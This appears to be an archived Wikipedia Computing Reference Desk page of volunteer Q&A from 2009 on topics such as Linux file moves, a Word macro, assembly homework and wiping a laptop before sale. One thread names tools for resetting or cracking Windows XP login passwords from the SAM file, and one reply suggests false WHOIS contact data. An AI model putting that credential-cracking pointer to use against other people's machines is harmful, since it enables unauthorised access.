Perhaps this will help. --Sean 13:28, 18 May 2009 (UTC)

Phone numbers when registering domains

I resent having to publish my phone number when I register a domain. I don't want to get any phone calls, and I don't want anybody to get my phone number from running a whois. I am under the impression that I can lose my domain name registration for not keeping the phone number updated and current (as I know you can get the name challenged, and lose the domain, for having an e-mail contact address that bounces). I assume this is a relic of the late 1970s that never got changed. Is there any way around having to have a phone number in the whois record, other than paying the registrar $20 a year for the privacy service? Tempshill (talk) 02:52, 13 May 2009 (UTC)

Theoretically - you should provide that data. However, I don't think anyone would ever come after you if you put garbage there. But - should you ever need to prove that you own the domain - or defend your ownership of it in the face of some heavy-hitter who claims your infringing their business name or something - then having fake data there would be bad - which is why there is a concern. Most domain registration services now offer the possibility to put their address/phone number in those fields and have them keep your data privately in case it's actually needed. I think it's called "ID Protect" or something. See this [1] for example. $8 per year...ouch! SteveBaker (talk) 03:05, 13 May 2009 (UTC)

I've had a lot of domains for a long time and I can only think of one or two times when anyone has called the phone number. I do get occasional pieces of snail mail spam to the mailing address. There is a ton of email spam but it is filtered by the registrar. I agree the requirement is obnoxious. There are various ways you can get around it, but they involve paying extra, so bleh. 207.241.239.70 (talk) 08:50, 21 May 2009 (UTC)

Zoom concept in computer / Computer Graphics

If I zoom the image(both vector and raster) what will be the geometric pattern of the pixels or dots?. Whats are the operation and algorithim of zoom —Preceding unsigned comment added by Indranilzee (talk • contribs) 04:27, 13 May 2009 (UTC)

For scaling of raster (bitmap) images, see Image scaling. For vector images, take a look at Vector graphics. Both are limited by the available detail in the starting image. While raster images may become [Pixelation|pixelated] without interpolation or appear blury with interpolation, vector graphics retain their crispness. However, the accuracy and realism of the scaled image is dependent on how accurately the image represented is encoded. Well defined geometry, such as shapes and fonts will continue to look good, but images such as maps and terrain will reveal that they do not have unlimited accuracy as you zoom in on them. Also, subtleties such as texture is difficult to accurately represent in vector graphics, but can be simulated using texture maps. -- Tcncv (talk) 07:20, 13 May 2009 (UTC)

Using Fractal compression you can zoom things like terrain and it can look quite reasonable, but it is generating detail that doesn't exist in the original and strange things can appear. Dmcq (talk) 17:25, 13 May 2009 (UTC)

A zoom of a 2D image is quite different from 3D. In 2D, you are just making the image larger or smaller - where in 3D you are changing the relative sizes of things closer and further away by different amounts. In either case, when you make the image smaller, you have to remove information - when you make it larger, you need to add information. Generally, both of those things are difficult. When you shrink something, you have to take care not to cause aliasing - when you grow it, the absence of additional information will either make it come out pixellated or blurry.

In 3D, we convert the 3D position of an object out there in the world into 2D using the effects of perspective:

  x' = x * s / z
  y' = y * s / z

...where (x,y,z) is the position of the object in 3D and (x',y') is the corresponding position in 2D space. The constant 's' relates to the amount of zoom. Changing that number causes the display to zoom in or out. SteveBaker (talk) 20:16, 13 May 2009 (UTC)

MICROPROCESSOR

Write a program to multiply two 16-bit unsigned numbers stored in the memory and store the result in the memory? —Preceding unsigned comment added by Abhi8 (talk • contribs) 06:42, 13 May 2009 (UTC)

Please see the top of this page for our policy regarding homework. And please do not post the same question to multiple forums. -- Tcncv (talk) 07:01, 13 May 2009 (UTC)

Looking for a particular tech review site I can't find

Hi, I'm looking to build a new computer, and I remember an article on CNET/ZDNET/whateverNET, in a blog called Hardware 2.0, about CPUs, motherboards, etc... It's quite recent, but I can't find it. Thanks in advance! 144.138.21.201 (talk) 07:37, 13 May 2009 (UTC)

ZDnet: Very Best Kit List Taggart.BBS (talk) 19:35, 13 May 2009 (UTC)

Thanks!144.138.21.132 (talk) 10:28, 14 May 2009 (UTC)

MS word - replacing commas with dots in numbers

Does anyone know a good way to replace only the commas in numbers in a word document. I had an old script for a search string that replaced only the commas in numbers with a special character and you could then go and replace that character with the dot. But last time I tried I couldn't get it to work anymore. I think they might have changed something in "search and replace" or there's a box hidden somewhere that needs to be ticked or unticked - as usual :-( Any clues would be highly appreciated. 71.236.24.129 (talk) 08:56, 13 May 2009 (UTC)

Look for a "regular expressions" search and replace feature. You would want to search for (this will depend a little on the regular expression flavor they use) "([0-9]),([0-9])", and replace it with "\1.\2". Or something. --Sean 13:37, 13 May 2009 (UTC)

The problem with Word's method is that you can find by wildcards but not replace by them. So it is easy to find all of the commas surrounded by "Any digit" (^#), but you can't replace them without obliterating the digits in question. --140.247.252.198 (talk) 17:58, 13 May 2009 (UTC)

In Word, you can do 10 global replaces ("0," -> "0#!", "1," -> "1#!", etc.); do a search for "#!" and put back any that should not be replaced (a long process if there are lots of them); finally replace all "#!" with ".".

Alternatively, move the entire text into an editor that supports regular expressions and allows you to record short macro sequences. When done the whole lot can be moved back into word, but you will have to fix up any headers, bold, itaic, etc. Astronaut (talk) 18:40, 13 May 2009 (UTC)

Thanks. Exporting isn't an option I just spent a fun-filled night extracting the text from a locked .pdf file and putting the formatting back in. Could one use MS word's crappy macro editor to cook s.th. up? I know using the recorder won't work so I guess I'll have to look into what commands they offer. (Sigh. Assembler used to be sooo easy. It took ages, but you knew what the box was doing.) For this file I guess I'll have to go with the manual wildcard search and destroy, ahem, replace.71.236.24.129 (talk) 08:07, 14 May 2009 (UTC)

try using the macro below:

The Macro

Sub Macro1() Selection.Find.ClearFormatting Selection.Find.Replacement.ClearFormatting With Selection.Find .Text = ",0" .Replacement.Text = ".0" .Forward = True .Wrap = wdFindContinue .Format = False .MatchCase = False .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With Selection.Find.Execute Replace:=wdReplaceAll With Selection.Find .Text = ",1" .Replacement.Text = ".1" .Forward = True .Wrap = wdFindContinue .Format = False .MatchCase = False .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With Selection.Find.Execute Replace:=wdReplaceAll With Selection.Find .Text = ",2" .Replacement.Text = ".2" .Forward = True .Wrap = wdFindContinue .Format = False .MatchCase = False .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With Selection.Find.Execute Replace:=wdReplaceAll With Selection.Find .Text = ",3" .Replacement.Text = ".3" .Forward = True .Wrap = wdFindContinue .Format = False .MatchCase = False .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With Selection.Find.Execute Replace:=wdReplaceAll With Selection.Find .Text = ",4" .Replacement.Text = ".4" .Forward = True .Wrap = wdFindContinue .Format = False .MatchCase = False .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With Selection.Find.Execute Replace:=wdReplaceAll With Selection.Find .Text = ",5" .Replacement.Text = ".5" .Forward = True .Wrap = wdFindContinue .Format = False .MatchCase = False .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With Selection.Find.Execute Replace:=wdReplaceAll With Selection.Find .Text = ",6" .Replacement.Text = ".6" .Forward = True .Wrap = wdFindContinue .Format = False .MatchCase = False .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With Selection.Find.Execute Replace:=wdReplaceAll With Selection.Find .Text = ",7" .Replacement.Text = ".7" .Forward = True .Wrap = wdFindContinue .Format = False .MatchCase = False .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With Selection.Find.Execute Replace:=wdReplaceAll With Selection.Find .Text = ",8" .Replacement.Text = ".8" .Forward = True .Wrap = wdFindContinue .Format = False .MatchCase = False .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With Selection.Find.Execute Replace:=wdReplaceAll With Selection.Find .Text = ",9" .Replacement.Text = ".9" .Forward = True .Wrap = wdFindContinue .Format = False .MatchCase = False .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With Selection.Find.Execute Replace:=wdReplaceAll End Sub

Thank you, thank you! (Redo 1000000 times) 71.236.24.129 (talk) 09:39, 19 May 2009 (UTC)

MICROPROCESSOR

Program to multiply two 16-bit unsigned numbers stored in the memory and store the result in the memory?--Abhi8 (talk) 09:14, 13 May 2009 (UTC)

This is the fifth time you've posted this question today, I asked you on your talk page to stop. If you continue to keep posting it, rather than wait for a reply in the original post, I will report you for disruptive behavior.

Since your textbook aparently doesn't help. here are a couple of pages that might help you with your homework assignment: Microprocessor (and links from that aricle) Computer program Assembly language Instruction set Machine code Multiplication algorithm Signedness Processor register Computer memory. Please note that our articles are not written to specifically deal with your problem, so referring to your class notes or textbook is likely to be much faster. You should also try to remember what your instructor may have mentioned regarding the relationship between adding and multiplying numbers. Lots of luck. 71.236.24.129 (talk) 09:41, 13 May 2009 (UTC)

Open Source Bubble?

I fear that the next tech bubble is among companies like Sun Microsystems and Novell, who have made the decision to give away their products for free. In an effort to "compete" with Linux, Sun decided to give away Solaris. They also give away their Java IDE (NetBeans), their database program (MySQL), and their office suite (OpenOffice). They "sell" an identical suite (StarOffice). But why would someone buy StarOffice when they can download OpenOffice? I have no idea. What were they thinking? Did they want to make Sun into some sort of non-profit organization like Goodwill? If so, they more-or-less deceived the people who gave them their savings -- their investors. If I had been unfortunate enough to loan Sun money (via bonds or stock) then I'd be pretty angry right now. Giving your product away sends the message that it's worth nothing. The whole business-friendly open source theory is just that -- a theory that is looking more and more fanciful as time wears on.--24.8.183.197 (talk) 10:00, 13 May 2009 (UTC)

You're in the wrong place. Rant elsewhere. Shadowjams (talk) 10:16, 13 May 2009 (UTC)

So, you must be the owner of the encyclopedia that anyone can edit, huh? I actually think that you are in the wrong place.--24.8.183.197 (talk) 10:18, 13 May 2009 (UTC)

You're not really asking a question, though, you're just soapboxing. A suggestion you take that elsewhere is valid, as this isn't the place to promote your own views. You're already starting from a personal assumption ("Giving your product away sends the message that it's worth nothing") which does not apply to everyone.

Perhaps he's confused us with the Free Encyclopedia That Anyone Can Edit With Whatever the Heck They Want. APL (talk) 02:16, 14 May 2009 (UTC)

That said, many companies are seeking to transition to a service based revenue model, ie. give the product away for free but charge for the support service. Think of it as the disposable razor model of business. — The Hand That Feeds You:^Bite 13:33, 13 May 2009 (UTC)

There is a question above. "why would someone buy StarOffice when they can download OpenOffice? I have no idea." I have no idea either. Why would someone do that? Anyway, regarding the rest, all I can say that it seems like a viable business model. Services and more valuable than products and these companies are earning millions and millions selling their services. The products serve for attracting clients--Mr.K. (talk) 10:24, 13 May 2009 (UTC)

Whether it seems like a viable business model is no longer relevant. It has been proven nonviable. Sun never made enough money off of these services. And they gave them away permanently by licensing their source code under the LGPL. This left them without an exit strategy. I find it telling that Sun is being bought by Oracle -- a company known for pricing their products high.--24.8.183.197 (talk) 02:47, 14 May 2009 (UTC)

"why would someone buy StarOffice...?" It's probably for the same reason that someone would purchase an operating system. Clearly, there are dozens of free, free operating systems. To some extent, they provide "equivalent functionality" to non-free, non-free systems. However, in the assessment of most end-users, these systems are decidedly not equivalent, and there is some feature worth paying for in Windows, Mac OS X, or one of the licensed Linux or Unix systems. Why do most people continue paying for something that they could replace with a free alternative? Maybe because they see added value, where you see no added value. A free market allows for various opinions to interact with the price-point of any given product or service - but it's a statistical process. (If you decided that wheat had no value because it was useless to you, that would not change the market price of wheat - but if most of the major grain distributors agreed with your assessment, then... ) Equivalently, if you decide that OpenOffice does have a monetary value, you are more than welcome to find someone and pay them for it - but that won't change the market price. Nimur (talk) 13:53, 13 May 2009 (UTC)

Price is determined by supply and demand. For the price of something to reach $0 on the open market, there would need to be zero people willing to buy the product. I find it very unlikely for that to be the case with StarOffice/OpenOffice. The executives at Sun decided to price their products at $0, thus ignoring the law of supply and demand. Many companies price their products higher than this law projects as part of a prestige-pricing strategy. Sun, on the other hand, decided to market to the cheapest people in the business. That makes absolutely no sense to me. They tried to make money off of people who refuse to pay for software. Wow. Maybe they never asked who their "customers" were, and if they didn't, Sun executives need to give their pay back.

Speaking of supply and demand, you can always just lower the price of your product if you want more customers. If you want to attract more users, just lower the price. Giving it away for free is the equivalent of throwing in the towel.--24.8.183.197 (talk) 02:47, 14 May 2009 (UTC)

What you don't get is that Sun isn't a core office or netbeans company. What the point of giving away packages for free is is to create added value for customers to use their other services, even if it means sacrificing revenue streams from products that they no longer consider their specialty. Maybe no one is buying Staroffice. But it wasn't like people were all buying Staroffice before Openoffice came around - Microsoft had pretty much cornered the market. They've turned Staroffice from a pointless weight around their necks that cost them money to maintain which could barely be recouped from pathetic sales into free advertising and a source of lucrative support monies. That's good business sense. You might as well ask yourself this: why don't videogame companies charge for game demos?--129.67.117.76 (talk) 13:36, 14 May 2009 (UTC)

You are indeed soapboxing, but one possible answer for the scattered question: Maybe you get some technical support when purchasing a StarOffice license? Tempshill (talk) 15:48, 13 May 2009 (UTC)

Note that you can't have a bubble unless people are speculating something up. I'm not sure that's happening here. Whether open source is or is not a good business model will depend on a lot of conditions within the companies. But it is clear that they are engaging in a realistic and well-thought out business model: use open source to build up geek cred and brand-name recognition, but provide high-cost services to companies who can't or aren't willing to afford leaving everything up to a bunch of hackers. It's not the disposable razor model, whereby everyone pays some regular, small amount over the long term. It's a model where you get a lot of little (economically insignificant) people to use your product as a gateway to the big-money corporate investments that come with having a good reputation. Will it work out in the end better than a fully-proprietary system? That's the key question. They obviously think it will, or at least won't do worse. But you can be 100% sure that it is not an ad hoc decision they made based on being charitable. Real companies don't work that way. --140.247.252.198 (talk) 18:14, 13 May 2009 (UTC)

Sun's main bread-and-butter was hardware and ding-ding-ding support! StarOffice specifically. It's sub-$100/seat last I checked, and that money pays for support. NetBeans was free to help distribute Java as a language (NetBeans is a pretty good IDE. Rival Eclipse is free as well, and is probably much better. Hmm). Novell sells support with SuSE, as does Red Hat, and they make a killing at it with RHEL (Yahoo! comes to mind...). And I would have been perfectly happy to invest in Sun. Plus, some of those investors just got a nice payoff with the Oracle buy-out (boo...) Washii (talk) 23:37, 16 May 2009 (UTC)

Also, I forgot: A lot of the work in Solaris is based off OpenSolaris now. So, that free OS giveaway with many users helping to improve it? Funnels right back into their paid product. Washii (talk) 23:40, 16 May 2009 (UTC)

MICROPROCESSOR-Sequence of instructions

Sequence of instructions to reverse a two digit hexadecimal number available in the register AX using shift and rotate instructions.--Abhi8 (talk) 10:50, 13 May 2009 (UTC)

Please see the top of the page about homework questions. Tempshill (talk) 15:49, 13 May 2009 (UTC)

Musical Software

I am using Cakewalk's SONAR to write music using a Yamaha S03 synthesizer. Even though it is easy to use, has its limitations. I was wondering if there is any other software to do the same job, but with more audial flexability but still having a easy-to-ues interface. Any help appreciated. --DJ Bogan (talk) 01:33, 15 May 2009 (UTC)

How to arrive at MTBF for an STB?

Hi, different vendors quote different figures for MTBF and have different methods to calculate. Is there any standard way of arriving at MTBF for STB? ThanksDearkundan (talk) 11:38, 13 May 2009 (UTC)

Usually a HALT test is used. This process subjects many units to high temperature and constant use, and applies an empircal formula to convert failure rates to failure-rates under normal conditions. If there is a standard, ISO or some other more specific industry consortium would probably publish its methodology - but these sorts of technical standards reports tend to be proprietary and expensive (sort of a "certification fee"). Also, it's not guaranteed that all vendors follow the same system. Nimur (talk) 14:26, 13 May 2009 (UTC)

MICROPROCESSOR-Word equal to 0000H

Word placed in register AX equal to 0000H without MOV or AND instructions.----Abhi8 (talk) 08:12, 14 May 2009 (UTC)

Be good if you specified the microprocessor but the simplest way I can think of doing this is to turn off the power. Then again that might make it all 1s or undefined so maybe I better think more. Hmm, perhaps I better shift the contents out, but then where do all the 1's disappear to? That's very worrying. I could of course subtract it from itself or exclusive or it with itself but that seems incestuous. Anyway once I've got it set to zero how do I keep it zero? You really need a write once register, I think best is to use an electron microscope and electron gun to zap the bits of the register so they can never be one again. Dmcq (talk) 12:29, 13 May 2009 (UTC)

MICROPROCESSOR-2's complement of the word

2's complement of the word in register AX without NEG instruction.--Abhi8 (talk) 08:12, 14 May 2009 (UTC)

Quote from the terms of the reference desk:

"If your question is homework, show that you have attempted an answer first, and we will try to help you past the stuck point. If you don't show an effort, you probably won't get help. The reference desk will not do your homework for you."

I see no evidence of any effort. Do you understand the question?, what have you read in wiki about it?, have you examples of code you tried but didn't work? Even then you probably won't be given 'the answer' but pointers so you understand the problem and how to solve it. Dmcq (talk) 17:08, 13 May 2009 (UTC)

Have you read 2s complement? Graeme Bartlett (talk) 10:38, 14 May 2009 (UTC)

MICROPROCESSOR-Number of logic 1's of the word

Number of logic 1's of the word available in the register AX using rotate and other instructions.--Abhi8 (talk) 08:12, 14 May 2009 (UTC)

This can be either a very boring question or quite an interesting bit twiddling exercise. See Hamming weight for the more interesting side. I'd guess though they expect you to just shift the word a bit at a time, and accumulate the count going round however many times there are bits in the register. As a confirmed bit twiddler I hold my hands up in horror. With a good modern 64 bit machine and the way memory is going down in price one could simply have a 4GB array with all the answers and look it up for 32 bit registers. Actually for a number of results this would almost certainly be slower nowadays than working it out with a good algorithm because he whole 4Gb wouldn't be in the cache. For more complex calculations though sticking everything on a big SIM card might be quite a good idea. Dmcq (talk) 07:57, 15 May 2009 (UTC)

Of course you could shift and mask smaller segments. For example a 32 bit register could be split into four 8-bit values, which could then be looked up in a 256 byte array and the results for the four look-ups added together. You can decide what trade-off between memory and speed you want, for example 8 four bit pieces or two 16-bit pieces could be used. -- Q Chris (talk) 08:19, 15 May 2009 (UTC)

MICROPROCESSOR-Instruction sequence to exchange two register contents

Sequence of instructions to exchange two register contents using stack.--Abhi8 (talk) 08:12, 14 May 2009 (UTC)

Why use the stack when wiki has a whole article on XOR swap algorithm. Using the search box at the top left is a good idea. Using a search engine is also a very good idea. Actually one can use add and subtract instead to make it less esoteric but xor was good for graphics. Dmcq (talk) 08:56, 15 May 2009 (UTC)

By the way it's not a good idea to use xor for swapping variables when writing a high level language, not only will it make the code obscure but the compiler can do a better job of optimizing if you just use a temporary variable. Does the OP really have to program in a low level language? - it should be left to people who like that sort of thing and will put in the effort to learn the various gotchas practically any microprocessor has. Dmcq (talk) 09:53, 15 May 2009 (UTC)

MICROPROCESSOR-Instruction sequence to check whether a byte stored in register AL is present in array of 10 bytes

Instruction sequence using string instructions to check whether a byte stored in register AL is present in an array of 10 bytes stored in the memory and to store the number of occurrences of the byte in register AH.--Abhi8 (talk) 08:12, 14 May 2009 (UTC)

MICROPROCESSOR-Code segment to find the square of a byte

A code segment to find the square of a byte available in register AL using XLAT instruction.--Abhi8 (talk) 08:12, 14 May 2009 (UTC)

Evidently these questions are homework. We will not do your homework for you. Do you have a conceptual question? Nimur (talk) 13:07, 13 May 2009 (UTC)

Please don't remove other people's messages. I've restored Nimur's response. — Matt Eason ^{(Talk &#149; Contribs)} 17:07, 13 May 2009 (UTC)

Please do your own homework.

Welcome to the Wikipedia Reference Desk. Your question appears to be a homework question. I apologize if this is a misinterpretation, but it is our aim here not to do people's homework for them, but to merely aid them in doing it themselves. Letting someone else do your homework does not help you learn nearly as much as doing it yourself. Please attempt to solve the problem or answer the question yourself first. If you need help with a specific part of your homework, feel free to tell us where you are stuck and ask for help. If you need help grasping the concept of a problem, by all means let us know. SteveBaker (talk) 20:02, 13 May 2009 (UTC)

To repeat Matt Eason; Please don't remove other people's messages. I've restored my own, Niumur's and SteveBaker's responses. Dmcq (talk) 09:19, 14 May 2009 (UTC)

itunes space

I have been trying to add some songs to my itunes library but it keeps telling me there's not enough space so I deleted some stuff and yet the storage space available doesn't increase... Any light shed on this issue would be appreciated 79.153.197.238 (talk) 15:27, 13 May 2009 (UTC)

Try emptying your recycle bin.  GARDEN  15:33, 13 May 2009 (UTC)

Google map problem

I am having trouble locating the address of 72 rue Charles Michel in Paris. I can find nearby addresses and Google maps seems to do a virtual tour of the area - however not any high numbers anywhere near 72 on the rue Charles Michel. I can find only the low numbers of single digit and teens and twenties. I know the address exist because of this reference which I find in various other books as well. The address exists, however Google maps apparently does not show it even though it shows streets with similar numbers in the neighborhood. Perhaps the name changed when it got near that number. Clues? -Doug Coldwell ^talk 17:09, 13 May 2009 (UTC)

According to my streetmap of Paris (Plan de Paris par Arrondissement) bought when I lived there several years ago, there is no rue Charles Michel within the 20 Arrondissements, the Bois de Boulogne, or the Bois de Vincennes. There is however a place Charles Michels in the 15th Arr. at the intersection of av. Emile Zola, r. Linois and r. des Entrepreneurs (and above the Charles Michels metro station). Astronaut (talk) 18:03, 13 May 2009 (UTC)

I just noticed your reference was from over 150 years ago, and specifically mentions St. Denis - not Paris. The r. Charles Michel in St. Denis is numbered up to 50 in Google maps. Where numbers higher than 50 would be, there is a modern industrial estate. However, using Google's "Street View" (with surprisingly high resolution in France), I can see number 68 and next door is a Cafe/Restaurant/Hotel called "Le Relais" (48°55′51.9″N 2°20′32.5″E). The building you are looking for is either "Le Relais" or the large derelict building on its own plot to the left of "Le Relais" (as you look from the street), or maybe it was between these building and has been demolished. Astronaut (talk) 18:25, 13 May 2009 (UTC)

Yikes!!! You are a little more sophisticated on these maps than I am. Can you give me a link that shows "number 68 and next door is a Cafe/Restaurant/Hotel called "Le Relais". A link using the Google's "Street View" so I could see the buildings there. I know the building is a four story building, probably the derelict one. Would like to see a picture of the derelict building. Thanks.--Doug Coldwell ^talk 19:40, 13 May 2009 (UTC)

Unfortunately, I cannot work out how to get a link to jump straight into Street View. However, the GeoHack mapping thingy is quite easy to use - click on the location I provided, scroll down to Google Maps, click on the map link, scroll in as far as you can. Then, to enter street view, you can drag the little yellow man (at the top of the zoom scale) to the marker on the map. You click and drag on the photo to turn the view around, or click on one of the white arrows to move up & down the street. Exit street view by zooming out again. You will easily get the hang of things.

Anyway, as a shortcut, here are two Panoramio photos of the buildings in question - photo 1 is number 68 (the tall building) and "Le Relais" half in the frame on the left; photo 2 is the large derelict building. Astronaut (talk) 19:53, 13 May 2009 (UTC)

Looking on Street View, I've just noticed "72" painted in the wall next to the gates to the derelict building (unusual, because a small blue plaque is usually how the house number is indicated). I'm pretty sure the derelict is the one you want.

Looking at the satellite view from above, I guess the original plot extended down to the River Seine, before the N14 (bvd de la Libération) and concrete embankments were built.No, there was a towpath along the riverbank. Astronaut (talk) 20:09, 13 May 2009 (UTC)

Yes, I do believe you got it. Thanks. In this reference it shows the architectial design of 1853. Looks like the same building to me! It is a building by Francois Coignet, a biography article I am working on in a sandbox. It is unique in that it is the first reinforced concrete building. The architecial drawing I probably can use in Commons because of its age. Now if I can just figure out how to get a modern picture of it that can be used in Commons. Any ideas?--Doug Coldwell ^talk 20:55, 13 May 2009 (UTC)

P.S. The plaque below the "72" on the top line I think says "Francois Coignet". --Doug Coldwell ^talk 20:59, 13 May 2009 (UTC)

At first I didn't think it was the same building, but if you look carefully (Google Street View again - this time from bvd de la Libération), the front view in the reference is the side that overlooks the River Seine. It has the correct number of windows and you can still see the small gate from the garden onto the riverbank towpath (Chemin de halage), now the bvd de la Libération. As for modern pictures, you could pay it a visit and probably take all the photos you want. Alternatively, you could try contacting the photographer of both the photos I linked above (and this third) and see if they'll release it under GFDL. Astronaut (talk) 21:53, 13 May 2009 (UTC)

... or this photo looks familiar. Astronaut (talk) 22:08, 13 May 2009 (UTC)

Thanks for all your help on this.--Doug Coldwell ^talk 22:57, 13 May 2009 (UTC)

I hope you'll spell it François when you make it a real article. —Tamfang (talk) 05:11, 14 May 2009 (UTC)

I just gotta say that this is a GREAT thread. The RefDesk denizens are an amazing resource! --Scray (talk) 03:04, 14 May 2009 (UTC)

Copying a LOT of files in Linux

Hi,

Just a slight problem i have. I need to move ~90gigs of files to backup hard drive, but doing

mv * /mnt/myexthd

it complains that 'the argument list is too long' (which I do understand... each file is only about 3.8MB)...

Is there a way that I can copy everything in just one go?

TIA PrinzPH (talk) 20:11, 13 May 2009 (UTC)

Try moving the parent directory. For example, if you have a gajillion files inside of /home/me/music, then use mv /home/me/music /my/backup. However, that MOVES the files, not copies them. If you want to copy, use cp -R /home/me/music /my/backup/ -- kainaw™ 20:14, 13 May 2009 (UTC)

Resolved

Thanks Kainaw! Worked perfectly! PrinzPH (talk) 21:06, 13 May 2009 (UTC)

(EC) In cases where you don't want to move the parent directory you can use xargs, which is designed for exactly this issue. For example, to move all the files ending in .mp3 to /mnt/myexthd, do:

find -name '*.mp3' -maxdepth 1 -print0 | xargs -0 mv -t /mnt/myexthd

Who said the command line wasn't user friendly! --Sean 21:11, 13 May 2009 (UTC)

You can just use the shell:

for t in *.mp3; do mv $t /mnt/myexthd; done

If the individual commands are very fast, this may be slower than the find method, but it's easier to type and to remember. --Tardis (talk) 16:47, 14 May 2009 (UTC)

Or just use rsync --h2g2bob (talk) 02:02, 16 May 2009 (UTC)

Selling a used Laptop

What precautions should I take when selling a used laptop? I would imagine that there is a lot of personal/private data on my laptop right? What are the steps I need to take in order to erase these data when selling my laptop? Acceptable (talk) 21:12, 13 May 2009 (UTC)

How I would do it: First, go through it thoroughly and backup any data you want to save. Then download a linux distribution (either puppy linux or ubuntu) and run it as a live cd on the laptop. While booted into this live cd (which makes no changes to your hard drive) go through your folders once again to make sure there isn't anything you want to save. If you are really paranoid or had very sensitive data on the laptop, run the dd command to zero out the hard drive (it overwrites every bit on the computer with a zero.) Then install an operating system on the laptop (either from the live cd, or your original operating system disks if they came with the computer.) If you are a non-technical user, you'll have to use google extensively to find out how to implement each of these steps (especially the dd command.) Taggart.BBS (talk) 21:35, 13 May 2009 (UTC)

I do it the way Taggart.BBS said. A possibly easier way for a person unfamiliar with Linux would be to boot from an external USB hard disk and use a disk shredder program on the internal drive. Tempshill (talk) 23:23, 13 May 2009 (UTC)

Also consider using Disk encryption on your next laptop. —Preceding unsigned comment added by 84.187.92.42 (talk) 00:05, 14 May 2009 (UTC)

You could use disk encryption to wipe your hard drive instead of a live CD. If you use Windows then install TrueCrypt, set it to encrypt your boot drive with an impossible-to-guess passphrase, and when it's finished encrypting, sell the computer and forget the passphrase. -- BenRG (talk) 01:27, 14 May 2009 (UTC)

Why do that when you can simply wipe it? --antilived^{T | C | G} 09:20, 14 May 2009 (UTC)

If you use a boot CD there's an hour or two of down time while the drive is wiped, and you have to schedule it at the very end when you're otherwise finished with the machine. TrueCrypt encrypts the drive on the fly while the system is running, and of course you can keep using it afterwards. Also, you don't have to burn the boot CD, which means one less piece of plastic in your life. -- BenRG (talk) 12:47, 14 May 2009 (UTC)

If it were my laptop that i was selling i would use the True crypt way. First i'd choose a 64 character key, Manly composed of my email address, home address.. maybe my mouse S/N, just what ever i can find. Then after i write that down i'd use that to encrypt the hard drive with 7 passes. That will most likely take all night. Once done I'd format the hard drive. :) Hope this helps. – Elliott(Talk|Cont)  15:40, 14 May 2009 (UTC)

May 14

Forgot My Computer Password

I forgot my computers password and was wondering if anyone knows how to log (or hack) in without one. My computer uses Windows XP. I can enter in to another user but can not, or don't no how to, change the password from another user. --DJ Bogan (talk) 00:40, 14 May 2009 (UTC)

If you can log in as the Administrator, you can reset the password in the "Users" Control panel. Astronaut (talk) 02:42, 14 May 2009 (UTC)

You don't need to login as the Administrator, any administrator account would do. Or the reset disc mentioned below. F (talk) 04:32, 17 May 2009 (UTC)

The Offline NT Password & Registry Editor boot disk allows you to change the password of any account on your computer. --169.232.232.219 (talk) 06:03, 14 May 2009 (UTC)

Cracking Windows login passwords with physical access is almost trivial with the SAM file and Ophcrack. --antilived^{T | C | G} 09:19, 14 May 2009 (UTC)

zenity (Linux)

Does anyone know how can I do this in zenity (the collapsible text)? Reading the man pages did not helped... _thanks_ Hacktolive (talk) 00:59, 14 May 2009 (UTC)

Well I can't see an easy way to do this. You could investigate options such as --class and --gtk-module (see: man zenity). Alternatively, you could get hold of the source code and try to make your own Zenity to support the collapsible text feature you want (start by contacting the guys mentioned on this page). Astronaut (talk) 10:54, 15 May 2009 (UTC)

I tried "man zenity" but it did not help, anyway, just found other way to do it, maybe even better. thanks anyway Hacktolive (talk) 00:32, 18 May 2009 (UTC)

google can't find her

Any idea , why google can't find the article Annemarie Eilfeld? 92.227.16.188 (talk) 08:00, 14 May 2009 (UTC)

I think google builds its database by crawling the web, so if no other pages on the web link to that article google will not index it, because it doesn't know it exists —Preceding unsigned comment added by 82.44.54.169 (talk) 11:10, 14 May 2009 (UTC)

Hi, but it is linked, at least from one site:

http://www.thewiplist.com/celebrity/Annemarie+Eilfeld_1840752/

and 4 times within wikipedia

http://en.wikipedia.org/wiki/Special:WhatLinksHere/Annemarie_Eilfeld

Is it possible, that the template in the Daniel Schuhmacher article might cause the problem? Regards 92.227.16.188 (talk) 12:37, 14 May 2009 (UTC)

The article has been around for just one month. Give Google some time. It is a good thing that Google takes time to index articles on Wikipedia. It would be a waste of time to index articles as soon as they are created since most are quickly deleted. -- kainaw™ 13:18, 14 May 2009 (UTC)

My experience is, that google needs 5 to 12 hours to index a new article. Let's wait and see: Umar Khan, created today, 13:27 (UTC). 92.227.16.188 (talk) 13:31, 14 May 2009 (UTC)

No, that's a bad example, because somebody has put a speedy delete template in it (without a reason, by the way). Let's take this: Lectionary 122, created today, 13:32 UTC 92.227.16.188 (talk) 13:41, 14 May 2009 (UTC)

• I guess the problems are to many redirects as this:
• http://en.wikipedia.org/wiki/Michelle_Bowers#Annemarie_Eilfeld
• or the blue names in:
• http://en.wikipedia.org/wiki/Deutschland_sucht_den_Superstar#Finals_elimination_chart_6 (they should be redlinks (except Eilfeld and Schuhmacher))
• 92.227.16.188 (talk) 17:56, 14 May 2009 (UTC)

Video playback problem

For the last few days, I have been having trouble playing videos : the videos slow down, play with interruptions or pause midway. This happens for videos being streamed online as well as for files stored in the computer. The videos, though, play more or less alright in the VLC Media Player (which I recently downloaded) but even with this, sometimes, the videos display gets muddled up. The problem occurs with Realplayer, Total Video Player and Windows Media Player, with every video I try to play. Any solutions? --Leif edling (talk) 08:30, 14 May 2009 (UTC)

Have you checked your hardware acceleration settings? 144.138.21.132 (talk) 10:30, 14 May 2009 (UTC)

With these very settings, the videos were running perfectly up until a few days ago. If there was a problem with hardware acceleration settings, would it be possible for the videos to run in one player and not in the others? --Leif edling (talk) 11:50, 14 May 2009 (UTC)

